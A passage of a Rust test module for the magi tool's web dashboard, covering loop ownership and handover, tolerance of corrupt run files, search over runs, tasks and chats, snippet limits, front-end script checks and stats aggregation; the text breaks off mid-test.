15791        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15792            let res = f.post("/api/loop", Some(body)).await;
15793            assert_eq!(
15794                res.status, 409,
15795                "neither button may pretend to work on someone else's loop: {}",
15796                res.body
15797            );
15798            assert!(
15799                res.json()["error"]
15800                    .as_str()
15801                    .is_some_and(|e| e.contains("4242")),
15802                "the refusal has to name the process the operator must go to: {}",
15803                res.body
15804            );
15805        }
15806        assert_eq!(
15807            f.get("/api/loop").await.json()["running"],
15808            false,
15809            "and the refusal started nothing"
15810        );
15811    }
15812
15813    #[tokio::test]
15814    async fn a_stale_status_file_is_not_a_foreign_owner() {
15815        let f = Fixture::start().await;
15816        write_daemon(
15817            f.home.path(),
15818            Timestamp::now() - jiff::SignedDuration::from_secs(60),
15819        );
15820
15821        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15822        assert_eq!(
15823            res.status, 200,
15824            "a daemon killed a minute ago must not lock the loop out of its \
15825             own home for good: {}",
15826            res.body
15827        );
15828        assert_eq!(res.json()["running"], true);
15829
15830        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15831    }
15832
15833    #[tokio::test]
15834    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15835        let f = Fixture::start().await;
15836        let before = f.get("/api/health").await.json()["loop_rev"]
15837            .as_u64()
15838            .expect("a loop revision");
15839
15840        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15841
15842        let after = f.get("/api/health").await.json()["loop_rev"]
15843            .as_u64()
15844            .expect("a loop revision");
15845        assert!(
15846            after > before,
15847            "the loop is in-process state, so this counter is the only thing \
15848             that tells a second device the first one started it: {before} -> \
15849             {after}"
15850        );
15851
15852        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15853    }
15854
15855    #[tokio::test]
15856    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15857        let f = Fixture::with_loop(launch_broken).await;
15858
15859        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15860        assert_eq!(
15861            res.status, 200,
15862            "starting it is not the failure: {}",
15863            res.body
15864        );
15865
15866        let view = settled(&f, |v| v["last_error"].is_string()).await;
15867        assert_eq!(
15868            view["running"], false,
15869            "a loop that died must not read as running, or the operator has \
15870             nothing to press: {view}"
15871        );
15872        assert_eq!(view["owned"], false);
15873        assert!(
15874            view["last_error"]
15875                .as_str()
15876                .is_some_and(|e| e.contains("read-only file system")),
15877            "the phone is where a loop that died at 3am is visible: {view}"
15878        );
15879
15880        // And it can be started again: the corpse was reaped, not left to
15881        // occupy the slot.
15882        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15883        assert_eq!(again.status, 200, "{}", again.body);
15884        assert!(
15885            again.json()["last_error"]
15886                .as_str()
15887                .is_none_or(|e| !e.contains("read-only file system")),
15888            "a fresh start does not keep showing why the last one died: {}",
15889            again.body
15890        );
15891    }
15892
15893    /// An upgrade parks the run in flight before it restarts, and a park waits
15894    /// for the node - up to `timeout_implement`, an hour by default. The deck
15895    /// has to answer for all of it: the operator has just been told a run is
15896    /// finishing first, and this address is the only place that says how it is
15897    /// going. It did not, once - the listener went with the `select!` arm that
15898    /// began the handover, and the phone got `Cannot reach magi: Failed to
15899    /// fetch` for the rest of the wave.
15900    ///
15901    /// The other half is the older rule: the address must be free *before* the
15902    /// successor is started, or it dies on "address already in use" with its
15903    /// stdio sent to null and the deck never comes back.
15904    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15905    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15906        let home = TempDir::new().expect("temp home");
15907        let runs = home.path().join("runs");
15908        std::fs::create_dir_all(&runs).expect("runs dir");
15909        let ui = Ui::new(
15910            Queue::at(home.path().join("queue")),
15911            Questions::at(home.path().join("questions")),
15912            Talks::at(home.path().join("talks")),
15913            runs,
15914            home.path().to_path_buf(),
15915            PathBuf::from("/repo/magi"),
15916        )
15917        .with_worktrees_root(home.path().join("wt"))
15918        .with_launch(launch_knocking_on_the_way_out);
15919        let looping = ui.looping();
15920        let turns = ui.turns();
15921        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15922            .await
15923            .expect("bind loopback");
15924        let addr = listener.local_addr().expect("local addr");
15925        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15926        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15927
15928        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15929        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15930
15931        // The successor's whole job, and the one thing it cannot do while this
15932        // process still holds the socket.
15933        //
15934        // One bind is not enough, and the reason is not this process's order of
15935        // operations: aborting the accept loop drops the listener, but axum
15936        // serves each accepted connection on a task of its own, and those are
15937        // not aborted. The requests above left sockets on this very address,
15938        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
15939        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
15940        // Production absorbs that in `bind_waiting`; so does this. Only
15941        // `AddrInUse` is retried, and the listener is released before the
15942        // closure returns - were the order wrong, the listener would outlive
15943        // the closure and every attempt would fail. Inferred from the bind
15944        // rules and the code; not reproduced on macOS.
15945        let bound = std::sync::Mutex::new(None);
15946        hand_over(
15947            home.path(),
15948            &looping,
15949            &turns,
15950            &|_: &[String]| Duration::from_secs(5),
15951            served,
15952            |_| {
15953                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15954                let attempt = loop {
15955                    match std::net::TcpListener::bind(addr) {
15956                        Ok(l) => {
15957                            drop(l);
15958                            break Ok(());
15959                        }
15960                        Err(e)
15961                            if e.kind() == std::io::ErrorKind::AddrInUse
15962                                && std::time::Instant::now() < deadline =>
15963                        {
15964                            std::thread::sleep(std::time::Duration::from_millis(10));
15965                        }
15966                        Err(e) => break Err(e.to_string()),
15967                    }
15968                };
15969                *bound.lock().expect("bound") = Some(attempt);
15970                Ok(1)
15971            },
15972        )
15973        .await
15974        .expect("hand over");
15975
15976        assert_eq!(
15977            *PARK_HEARD.lock().expect("park heard"),
15978            Some(200),
15979            "the deck must answer while the loop is parking"
15980        );
15981        let attempt = bound
15982            .lock()
15983            .expect("bound")
15984            .take()
15985            .expect("the successor was started");
15986        assert!(
15987            attempt.is_ok(),
15988            "and the address must be free by the time it is: {attempt:?}"
15989        );
15990    }
15991
15992    #[tokio::test]
15993    async fn a_newer_daemon_status_file_still_renders() {
15994        let f = Fixture::start().await;
15995        // A field this build has never heard of must not turn the status line
15996        // into a 500; that is the whole reason the reader is permissive.
15997        std::fs::write(
15998            f.home.path().join("daemon.json"),
15999            serde_json::json!({
16000                "schema": 2,
16001                "updated_at": Timestamp::now().to_string(),
16002                "idle": true,
16003                "surprise": { "nested": [1, 2, 3] },
16004            })
16005            .to_string(),
16006        )
16007        .expect("write daemon.json");
16008
16009        let health = f.get("/api/health").await;
16010
16011        assert_eq!(health.status, 200);
16012        assert_eq!(health.json()["daemon"]["running"], true);
16013    }
16014
16015    #[tokio::test]
16016    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16017        let f = Fixture::start().await;
16018        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16019        let broken = f.runs().join("20260902-140502-bad");
16020        std::fs::create_dir_all(&broken).expect("run dir");
16021        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16022
16023        let list = f.get("/api/runs").await;
16024        let detail = f.get("/api/runs/20260902-140502-bad").await;
16025
16026        assert_eq!(list.status, 200);
16027        let listed = list.json();
16028        let ids: Vec<&str> = listed
16029            .as_array()
16030            .expect("an array")
16031            .iter()
16032            .map(|r| r["id"].as_str().expect("an id"))
16033            .collect();
16034        assert_eq!(
16035            ids,
16036            vec!["20260902-140501-good"],
16037            "one unreadable run must not cost the operator the whole history"
16038        );
16039        assert_eq!(detail.status, 500);
16040        assert!(
16041            detail.json()["error"]
16042                .as_str()
16043                .is_some_and(|e| e.contains("run.json")),
16044            "the failure names the file to look at: {}",
16045            detail.body
16046        );
16047        // A skipped run has to be countable somewhere, or the UI shows an
16048        // empty history with nothing to explain it - which is exactly what a
16049        // directory full of older-schema runs looks like.
16050        let health = f.get("/api/health").await;
16051        assert_eq!(health.json()["runs_unreadable"], 1);
16052    }
16053
16054    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
16055    #[tokio::test]
16056    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16057        let f = Fixture::start().await;
16058        let runs = f.runs();
16059        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16060        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16061        // Text three levels down, in a shape no current RunState has: an older
16062        // schema must still search.
16063        let path = runs.join("20260902-140502-bbbb").join("run.json");
16064        let mut v: serde_json::Value =
16065            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16066        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16067        std::fs::write(&path, v.to_string()).unwrap();
16068        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16069        std::fs::write(
16070            runs.join("20260902-140503-cccc").join("run.json"),
16071            "{ not json",
16072        )
16073        .unwrap();
16074
16075        let res = f.get("/api/search?scope=runs&q=quokka").await;
16076        assert_eq!(res.status, 200, "{}", res.body);
16077        let v = res.json();
16078        assert_eq!(v["total"], 1, "{v}");
16079        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16080        assert_eq!(v["hits"][0]["field"], "text");
16081        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16082        let parts = v["hits"][0]["snippet"].as_array().unwrap();
16083        assert!(
16084            parts
16085                .iter()
16086                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16087            "{v}"
16088        );
16089        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16090        assert_eq!(
16091            flat, "The Quokka leaks across threads",
16092            "whitespace is collapsed"
16093        );
16094
16095        // Terms are ANDed, across different fields, case-insensitively.
16096        let both = f
16097            .get("/api/search?scope=runs&q=MOBILE%20quokka")
16098            .await
16099            .json();
16100        assert_eq!(both["total"], 1, "{both}");
16101        let neither = f
16102            .get("/api/search?scope=runs&q=quokka%20zebra")
16103            .await
16104            .json();
16105        assert_eq!(neither["total"], 0, "{neither}");
16106        // Everything in the task statement is reachable, not only the row text.
16107        let stmt = f
16108            .get("/api/search?scope=runs&q=mobile%20first")
16109            .await
16110            .json();
16111        assert_eq!(stmt["total"], 2, "{stmt}");
16112        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16113        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16114    }
16115
16116    #[test]
16117    fn snippet_ignores_terms_longer_than_the_field() {
16118        let terms = ["ok".to_owned(), "elephant".to_owned()];
16119        let parts = snippet_of("ok", &terms);
16120        assert_eq!(
16121            parts,
16122            vec![SnippetPart {
16123                text: "ok".to_owned(),
16124                hit: true
16125            }]
16126        );
16127    }
16128
16129    #[test]
16130    fn snippet_marks_matches_longer_than_the_window() {
16131        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16132        let hit_len = |parts: &[SnippetPart]| -> usize {
16133            parts
16134                .iter()
16135                .filter(|p| p.hit)
16136                .map(|p| p.text.chars().count())
16137                .sum()
16138        };
16139        let total =
16140            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16141
16142        let long = "a".repeat(120);
16143        let parts = snippet_of(&long, std::slice::from_ref(&long));
16144        assert!(hit_len(&parts) > 0, "{parts:?}");
16145        assert!(total(&parts) <= cap);
16146
16147        let ja = "あ".repeat(130);
16148        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16149        assert!(hit_len(&parts) > 0, "{parts:?}");
16150        assert!(total(&parts) <= cap);
16151
16152        // A short hit, then one straddling the window's end.
16153        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16154        let term = format!("ab{}", "c".repeat(100));
16155        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16156        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16157        assert!(total(&parts) <= cap);
16158
16159        // Only the head matches: not highlighted.
16160        let text = format!("{}z", "a".repeat(119));
16161        let parts = snippet_of(&text, &["a".repeat(120)]);
16162        assert_eq!(hit_len(&parts), 0, "{parts:?}");
16163    }
16164
16165    #[tokio::test]
16166    async fn search_caps_hits_and_snippet_length() {
16167        let f = Fixture::start().await;
16168        let runs = f.runs();
16169        for n in 0..(SEARCH_MAX_HITS + 5) {
16170            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16171        }
16172        let v = f.get("/api/search?scope=runs&q=web").await.json();
16173        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16174        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16175        assert_eq!(v["truncated"], true);
16176        // Every listed run hit carries its list row for the page's filters.
16177        assert!(
16178            v["hits"]
16179                .as_array()
16180                .unwrap()
16181                .iter()
16182                .all(|h| h["run"]["status"] == "merged")
16183        );
16184
16185        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16186        let parts = snippet_of(&long, &["needle".to_owned()]);
16187        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16188        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16189        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16190    }
16191
16192    #[tokio::test]
16193    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16194        let f = Fixture::start().await;
16195        let queue = f.queue();
16196        let mut t = Task::new(
16197            "short title".to_owned(),
16198            "line one\nthe hidden Armadillo detail".to_owned(),
16199            PathBuf::from("/repo/magi"),
16200            Source::Agent {
16201                run: "r1".to_owned(),
16202                node: "chat".to_owned(),
16203            },
16204        );
16205        t.last_error = Some("disk full on /tmp".to_owned());
16206        queue.put(&mut t).expect("file the task");
16207
16208        for (q, want) in [
16209            ("armadillo", 1),
16210            ("disk%20FULL", 1),
16211            ("chat", 1),
16212            ("queued", 1),
16213            ("short%20nothing", 0),
16214        ] {
16215            let v = f
16216                .get(&format!("/api/search?scope=tasks&q={q}"))
16217                .await
16218                .json();
16219            assert_eq!(v["total"], want, "{q}: {v}");
16220        }
16221        for bad in [
16222            "/api/search?scope=tasks&q=",
16223            "/api/search?scope=tasks&q=%20",
16224            "/api/search?scope=chats&q=",
16225            "/api/search?scope=chats&q=%20",
16226            "/api/search?scope=nope&q=a",
16227            "/api/search?q=a",
16228        ] {
16229            assert_eq!(f.get(bad).await.status, 400, "{bad}");
16230        }
16231    }
16232
16233    /// Write one conversation file the way the store reads it back.
16234    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16235        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16236            .expect("seat value");
16237        let turns: Vec<serde_json::Value> = turns
16238            .iter()
16239            .map(|(who, body)| {
16240                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16241            })
16242            .collect();
16243        let doc = serde_json::json!({
16244            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16245            "status": status, "turns": turns,
16246            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16247            "seat": seat,
16248        });
16249        let dir = f.home.path().join("talks");
16250        std::fs::create_dir_all(&dir).expect("talks dir");
16251        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16252    }
16253
16254    #[tokio::test]
16255    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16256        let f = Fixture::start().await;
16257        write_talk(
16258            &f,
16259            "20260901-000001-aaaa",
16260            "open",
16261            &[
16262                (
16263                    "operator",
16264                    "\n  Why does the Pangolin cache expire?\nsecond line",
16265                ),
16266                ("agent", "Because the TTL is thirty seconds."),
16267            ],
16268        );
16269        write_talk(
16270            &f,
16271            "20260901-000002-bbbb",
16272            "closed",
16273            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16274        );
16275        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16276
16277        let search = |q: &'static str| {
16278            let f = &f;
16279            async move {
16280                f.get(&format!("/api/search?scope=chats&q={q}"))
16281                    .await
16282                    .json()
16283            }
16284        };
16285
16286        let v = search("PANGOLIN").await;
16287        assert_eq!(v["scope"], "chats");
16288        assert_eq!(v["total"], 1, "{v}");
16289        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16290        assert_eq!(v["hits"][0]["field"], "title");
16291        assert_eq!(v["unreadable"], 1, "{v}");
16292        let marked: Vec<&str> = v["hits"][0]["snippet"]
16293            .as_array()
16294            .unwrap()
16295            .iter()
16296            .filter(|p| p["hit"] == true)
16297            .map(|p| p["text"].as_str().unwrap())
16298            .collect();
16299        assert_eq!(marked, ["Pangolin"]);
16300
16301        // An agent turn, in a closed conversation.
16302        let v = search("zebra").await;
16303        assert_eq!(v["total"], 1, "{v}");
16304        assert_eq!(v["hits"][0]["field"], "agent");
16305        // Words may sit in different turns; all must be present.
16306        assert_eq!(search("pangolin%20thirty").await["total"], 1);
16307        assert_eq!(search("pangolin%20zebra").await["total"], 0);
16308        // Bookkeeping is not searched.
16309        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16310            assert_eq!(search(q).await["total"], 0, "{q}");
16311        }
16312        // The first line only is the title; the second line is still a turn.
16313        assert_eq!(search("second").await["hits"][0]["field"], "operator");
16314        // Open conversations are listed before closed ones.
16315        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16316
16317        let v = f.get("/api/search?scope=nope&q=a").await;
16318        assert_eq!(v.status, 400);
16319        assert!(
16320            v.body.contains("scope must be runs, tasks or chats"),
16321            "{}",
16322            v.body
16323        );
16324    }
16325
16326    #[test]
16327    fn a_question_card_links_a_task_id_to_the_task_page() {
16328        let start = APP_JS
16329            .find("function updateAskCard(")
16330            .expect("updateAskCard exists");
16331        let body = &APP_JS[start..];
16332        let body = &body[..body.find("\n}\n").expect("function end")];
16333        assert!(body.contains("question.run_is_task"));
16334        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16335        assert!(body.contains("`#/runs/${question.run}`"));
16336        assert!(body.contains("\"task\" : \"run\""));
16337    }
16338
16339    #[test]
16340    fn plain_text_message_surfaces_go_through_linkify() {
16341        assert!(APP_JS.contains("function linkify("));
16342        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16343        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16344        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16345        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16346        assert!(!APP_JS.contains("innerHTML = text"));
16347    }
16348
16349    #[test]
16350    fn implementation_rate_views_keep_independent_samples() {
16351        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16352            let a = stats::AgentStats {
16353                competitive_entered: competitive_n,
16354                competitive_wins: usize::from(competitive_n > 0),
16355                solo_entered: solo_n,
16356                solo_adopted: 2 * usize::from(solo_n > 0),
16357                ..Default::default()
16358            };
16359            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16360            for (key, n, numerator) in [
16361                ("competitive_win_rate", competitive_n, a.competitive_wins),
16362                ("solo_adoption_rate", solo_n, a.solo_adopted),
16363            ] {
16364                if n == 0 {
16365                    assert!(v[key].is_null());
16366                } else {
16367                    assert_eq!(v[key]["denominator"], n);
16368                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16369                }
16370            }
16371        }
16372        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16373        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16374        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16375        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16376    }
16377
16378    #[test]
16379    fn stats_bars_share_one_id_keyed_plan() {
16380        let start = APP_JS
16381            .find("function statsBarRows(")
16382            .expect("statsBarRows exists");
16383        let body = &APP_JS[start..];
16384        let body = &body[..body.find("\n}\n").expect("function end")];
16385        assert!(body.contains("statsBarPlan(rows)"));
16386        assert!(body.contains("statsAgentTone(row.agent)"));
16387        assert!(!body.contains("candTone(i)"));
16388        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16389        for root in [
16390            "stats-agents-bars",
16391            "stats-solo-bars",
16392            "stats-reviewers-bars",
16393        ] {
16394            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16395        }
16396    }
16397
16398    #[test]
16399    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16400        let start = APP_JS
16401            .find("function renderStatsReviewerScatter(")
16402            .expect("renderStatsReviewerScatter exists");
16403        let body = &APP_JS[start..];
16404        let body = &body[..body.find("\n}\n").expect("function end")];
16405        assert!(body.contains("statsScatterPlan(reviewers)"));
16406        assert!(body.contains("statsAgentTone(d.agent)"));
16407        assert!(APP_JS.contains("function statsScatterPlan("));
16408        assert!(
16409            APP_JS.contains("d.submitted < STATS_LOW_N")
16410                || APP_JS.contains("r.submitted < STATS_LOW_N")
16411        );
16412        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16413        assert!(APP_CSS.contains(".precision-scatter"));
16414    }
16415
16416    #[test]
16417    fn advisor_reflection_is_drawn_as_stacked_segments() {
16418        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16419        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16420        let html = include_str!("../assets/ui/index.html");
16421        assert!(html.contains("Approximate"));
16422        for label in ["reflected strongly", "faint", "no proposal"] {
16423            assert!(html.contains(label));
16424        }
16425        let css = include_str!("../assets/ui/app.css");
16426        for c in ["refl-strong", "refl-faint", "refl-absent"] {
16427            assert!(css.contains(&format!(".{c} {{")));
16428        }
16429    }
16430
16431    #[test]
16432    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16433        assert!(APP_JS.contains("function statsDailyPlan("));
16434        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16435        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16436    }
16437
16438    #[test]
16439    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16440        let start = APP_JS
16441            .find("function scheduleSearch(")
16442            .expect("scheduleSearch exists");
16443        let body = &APP_JS[start..];
16444        let body = &body[..body.find("\n}\n").expect("function end")];
16445        assert!(body.contains("s.seq += 1"));
16446    }
16447
16448    /// The dashboard reads every run's state itself rather than trusting a
16449    /// separately-maintained count, so an unreadable run must be counted the
16450    /// same way `/api/health` counts it - never silently dropped the way the
16451    /// CLI's own `stats::load_all` drops it.
16452    #[tokio::test]
16453    async fn stats_runs_unreadable_matches_health() {
16454        let f = Fixture::start().await;
16455        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16456        let broken = f.runs().join("20260902-140502-bad");
16457        std::fs::create_dir_all(&broken).expect("run dir");
16458        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16459
16460        let stats = f.get("/api/stats").await;
16461        let health = f.get("/api/health").await;
16462
16463        assert_eq!(stats.status, 200);
16464        assert_eq!(stats.json()["totals"]["runs"], 1);
16465        assert_eq!(stats.json()["runs_unreadable"], 1);
16466        assert_eq!(
16467            stats.json()["runs_unreadable"],
16468            health.json()["runs_unreadable"],
16469            "the dashboard and /api/health must never disagree about how many \
16470             runs could not be read"
16471        );
16472    }
16473
16474    #[tokio::test]
16475    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16476        let f = Fixture::start().await;
16477        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16478        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16479        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16480
16481        let totals = &f.get("/api/stats").await.json()["totals"];
16482        assert_eq!(totals["runs"], 3);
16483        assert_eq!(totals["merged"], 1);
16484        assert_eq!(totals["stalled"], 1);
16485        assert_eq!(totals["in_progress"], 1);
16486        // A stalled run must never read as blocked/merged/ready - it is its
16487        // own bucket, not folded into a "decided" one.
16488        assert_eq!(totals["blocked"], 0);
16489        assert_eq!(totals["ready"], 0);
16490    }
16491
16492    #[tokio::test]
16493    async fn stats_advisors_report_proposals_and_reflection() {
16494        use crate::advise::{Advice, AdvisorRecord, Reflection};
16495        use crate::verdict::Proposal;
16496
16497        let f = Fixture::start().await;
16498        let mut state = RunState::new(
16499            PathBuf::from("/repo/magi"),
16500            "main".to_owned(),
16501            "0123456789abcdef".to_owned(),
16502            "task".to_owned(),
16503            Config::default(),
16504        );
16505        state.id = "20260902-140501-a".to_owned();
16506        state.status = RunStatus::Merged;
16507        state.advice = Some(Advice {
16508            records: vec![
16509                AdvisorRecord {
16510                    seat: "advisor-1".to_owned(),
16511                    agent: "alpha".to_owned(),
16512                    proposal: Some(Proposal {
16513                        approach: "do it".to_owned(),
16514                        key_tradeoff: "speed over memory".to_owned(),
16515                        risks: Vec::new(),
16516                        touches: Vec::new(),
16517                        why_not_naive: "breaks under load".to_owned(),
16518                    }),
16519                    error: None,
16520                    duration_ms: 0,
16521                    reflection: Reflection::Strong,
16522                },
16523                AdvisorRecord {
16524                    seat: "advisor-2".to_owned(),
16525                    agent: "alpha".to_owned(),
16526                    proposal: None,
16527                    error: Some("timed out".to_owned()),
16528                    duration_ms: 0,
16529                    reflection: Reflection::Absent,
16530                },
16531            ],
16532            synthesis: Some("blended brief".to_owned()),
16533        });
16534        let dir = f.runs().join(&state.id);
16535        std::fs::create_dir_all(&dir).expect("run dir");
16536        std::fs::write(
16537            dir.join("run.json"),
16538            serde_json::to_string_pretty(&state).expect("serialize run"),
16539        )
16540        .expect("write run.json");
16541
16542        // `alpha` is in no roster here; this test is about the rates.
16543        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16544        let alpha = advisors
16545            .as_array()
16546            .expect("an array")
16547            .iter()
16548            .find(|a| a["agent"] == "alpha")
16549            .expect("alpha row");
16550        assert_eq!(alpha["seated"], 2);
16551        assert_eq!(alpha["proposed"], 1);
16552        assert_eq!(alpha["absent"], 1);
16553        assert_eq!(alpha["strong"], 1);
16554        assert_eq!(alpha["faint"], 0);
16555        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16556    }
16557
16558    #[tokio::test]
16559    async fn stats_hides_agents_outside_the_roster_unless_all() {
16560        use crate::run::Candidate;
16561        let repo = TempDir::new().expect("repo dir");
16562        std::fs::write(
16563            repo.path().join("magi.toml"),
16564            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16565        )
16566        .expect("magi.toml");
16567        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16568        let mut state = RunState::new(
16569            PathBuf::from("/repo/magi"),
16570            "main".to_owned(),
16571            "0123456789abcdef".to_owned(),
16572            "task".to_owned(),
16573            Config::default(),
16574        );
16575        state.id = "20260902-140501-a".to_owned();
16576        state.status = RunStatus::Merged;
16577        for (label, agent) in [('A', "keep"), ('B', "retired")] {
16578            let mut c: Candidate = serde_json::from_value(serde_json::json!({
16579                "index": 0, "label": label.to_string(), "agent": agent,
16580                "branch": "b", "worktree": "/w",
16581            }))
16582            .expect("candidate");
16583            c.label = label;
16584            state.candidates.push(c);
16585        }
16586        let dir = f.runs().join(&state.id);
16587        std::fs::create_dir_all(&dir).expect("run dir");
16588        std::fs::write(
16589            dir.join("run.json"),
16590            serde_json::to_string_pretty(&state).expect("serialize run"),
16591        )
16592        .expect("write run.json");
16593
16594        let agents_of = |v: &serde_json::Value| -> Vec<String> {
16595            v["agents"]
16596                .as_array()
16597                .expect("array")
16598                .iter()
16599                .map(|a| a["agent"].as_str().unwrap().to_owned())
16600                .collect()
16601        };
16602        let hidden = f.get("/api/stats").await.json();
16603        assert_eq!(agents_of(&hidden), ["keep"]);
16604        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16605        assert_eq!(hidden["totals"]["runs"], 1);
16606
16607        let all = f.get("/api/stats?all=true").await.json();
16608        assert_eq!(agents_of(&all).len(), 2);
16609        assert_eq!(all["retired_hidden"], serde_json::json!([]));
16610        // Verify competitive and solo keys exist on agent entries
16611        let keep_agent = all["agents"]
16612            .as_array()
16613            .unwrap()
16614            .iter()
16615            .find(|a| a["agent"] == "keep")
16616            .unwrap();
16617        assert_eq!(keep_agent["competitive_entered"], 1);
16618        assert_eq!(keep_agent["competitive_wins"], 0);
16619        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16620        assert_eq!(keep_agent["solo_entered"], 0);
16621        assert_eq!(keep_agent["solo_adopted"], 0);
16622        assert!(keep_agent["solo_adoption_rate"].is_null());
16623    }
16624
16625    #[tokio::test]
16626    async fn stats_release_bumps_split_clean_from_attention() {
16627        use crate::run::ReleaseBump;
16628
16629        let f = Fixture::start().await;
16630
16631        let mut clean = RunState::new(
16632            PathBuf::from("/repo/magi"),
16633            "main".to_owned(),
16634            "0123456789abcdef".to_owned(),
16635            "task".to_owned(),
16636            Config::default(),
16637        );
16638        clean.id = "20260902-140501-a".to_owned();
16639        clean.status = RunStatus::Merged;
16640        clean.release_bump = Some(ReleaseBump {
16641            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16642            version: Some("1.0.0".to_owned()),
16643            automerge_enabled: true,
16644            merged_directly: false,
16645            local: false,
16646            release: None,
16647            problem: None,
16648            action_required: None,
16649        });
16650
16651        let mut blocked = RunState::new(
16652            PathBuf::from("/repo/magi"),
16653            "main".to_owned(),
16654            "0123456789abcdef".to_owned(),
